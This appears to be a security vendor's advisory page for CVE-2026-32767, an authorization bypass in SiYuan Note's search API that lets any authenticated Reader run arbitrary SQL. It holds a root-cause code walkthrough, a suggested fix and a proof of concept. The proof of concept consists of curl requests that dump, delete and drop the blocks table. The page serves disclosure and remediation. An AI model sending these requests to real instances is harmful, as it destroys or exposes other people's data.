CVE-2026-32767 is a critical-severity (CVSS 9.8) SQL Injection vulnerability in github.com/siyuan-note/siyuan/kernel. No vendor fix is recorded yet; mitigation options are listed below.
SiYuan: Authorization Bypass Allows Arbitrary SQL Execution via Search API
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32767.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-32767 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
SiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the /api/search/fullTextSearchBlock endpoint. When the method parameter is set to 2, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the Reader role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database.
This is inconsistent with the application's own security model: the dedicated SQL endpoint (/api/query/sql) correctly requires both CheckAdminRole and CheckReadonly middleware, but the search endpoint bypasses these controls entirely.
Root Cause Analysis
The Vulnerable Endpoint
File: kernel/api/router.go, line 188
ginServer.Handle("POST", "/api/search/fullTextSearchBlock", model.CheckAuth, fullTextSearchBlock)
This endpoint only applies model.CheckAuth, which permits any authenticated role (Administrator, Editor, or Reader).
The Properly Protected Endpoint (for comparison)
File: kernel/api/router.go, line 177
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)
This endpoint correctly chains CheckAdminRole and CheckReadonly, restricting SQL execution to administrators in read-write mode.
The Vulnerable Code Path
File: kernel/api/search.go, lines 389-411
func fullTextSearchBlock(c *gin.Context) {
// ...
page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)
blocks, matchedBlockCount, matchedRootCount, pageCount, docMode :=
model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
// ...
}
File: kernel/model/search.go, lines 1205-1206
case 2: // SQL
blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)
When method=2, the raw query string is passed directly to searchBySQL().
File: kernel/model/search.go, lines 1460-1462
func searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []*Block, ...) {
stmt = strings.TrimSpace(stmt)
blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)
File: kernel/sql/block_query.go, lines 566-569, 713-714
func SelectBlocksRawStmt(stmt string, page, limit int) (ret []*Block) {
parsedStmt, err := sqlparser.Parse(stmt)
if err != nil {
return selectBlocksRawStmt(stmt, limit) // Falls through to raw execution
}
// ...
}
func selectBlocksRawStmt(stmt string, limit int) (ret []*Block) {
rows, err := query(stmt) // Executes arbitrary SQL
// ...
}
File: kernel/sql/database.go, lines 1327-1337
func query(query string, args ...interface{}) (*sql.Rows, error) {
// ...
return db.Query(query, args...) // Go's database/sql db.Query — executes ANY SQL
}
Go's database/sql db.Query() will execute any SQL statement, including DELETE, UPDATE, DROP TABLE, INSERT, etc. The returned *sql.Rows will simply be empty for non-SELECT statements, but the destructive operation is still executed.
Authorization Model
File: kernel/model/session.go, lines 201-210
func CheckAuth(c *gin.Context) {
// Already authenticated via JWT
if role := GetGinContextRole(c); IsValidRole(role, []Role{
RoleAdministrator,
RoleEditor,
RoleReader, // <-- Reader role passes CheckAuth
}) {
c.Next()
return
}
// ...
}
File: kernel/model/session.go, lines 380-386
func CheckAdminRole(c *gin.Context) {
if IsAdminRoleContext(c) {
c.Next()
} else {
c.AbortWithStatus(http.StatusForbidden) // <-- This check is MISSING on the search endpoint
}
}
Proof of Concept
Prerequisites
- SiYuan instance accessible over the network (e.g., Docker deployment)
- Valid authentication as any user role (including
Reader)
Steps to Reproduce
-
Authenticate to SiYuan and obtain a valid session cookie or API token.
-
Read all data (confidentiality breach):
curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \
-H "Content-Type: application/json" \
-H "Authorization: Token <reader_token>" \
-d '{"method": 2, "query": "SELECT * FROM blocks LIMIT 100"}'
- Delete all blocks (integrity/availability breach):
curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \
-H "Content-Type: application/json" \
-H "Authorization: Token <reader_token>" \
-d '{"method": 2, "query": "DELETE FROM blocks"}'
- Drop tables (availability breach):
curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \
-H "Content-Type: application/json" \
-H "Authorization: Token <reader_token>" \
-d '{"method": 2, "query": "DROP TABLE blocks"}'
- Compare with the properly protected endpoint (should return HTTP 403 for Reader role):
curl -X POST http://<target>:6806/api/query/sql \
-H "Content-Type: application/json" \
-H "Authorization: Token <reader_token>" \
-d '{"stmt": "SELECT * FROM blocks LIMIT 10"}'
Expected Behavior
The search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with /api/query/sql.
Actual Behavior
Any authenticated user (including Reader role) can execute arbitrary SQL including destructive operations.
Impact
In a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code):
- Confidentiality: A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to.
- Integrity: A Reader-role user can modify or delete any data in the database, despite having read-only access by design.
- Availability: A Reader-role user can drop tables or corrupt the database, rendering the application unusable.
Suggested Fix
Add CheckAdminRole and CheckReadonly middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when method=2:
Option A — Restrict method=2 to admin (recommended):
In kernel/api/search.go, add a role check when method=2:
func fullTextSearchBlock(c *gin.Context) {
// ...
page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)
// SQL mode requires admin privileges, consistent with /api/query/sql
if method == 2 && !model.IsAdminRoleContext(c) {
ret.Code = -1
ret.Msg = "SQL search requires administrator privileges"
return
}
// ...
}
Option B — Enforce SELECT-only for non-admin users:
Validate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/siyuan-note/siyuan/kernel has shipped for CVE-2026-32767 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32767 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32767. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32767 in your dependencies?
O3 Security finds CVE-2026-32767 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.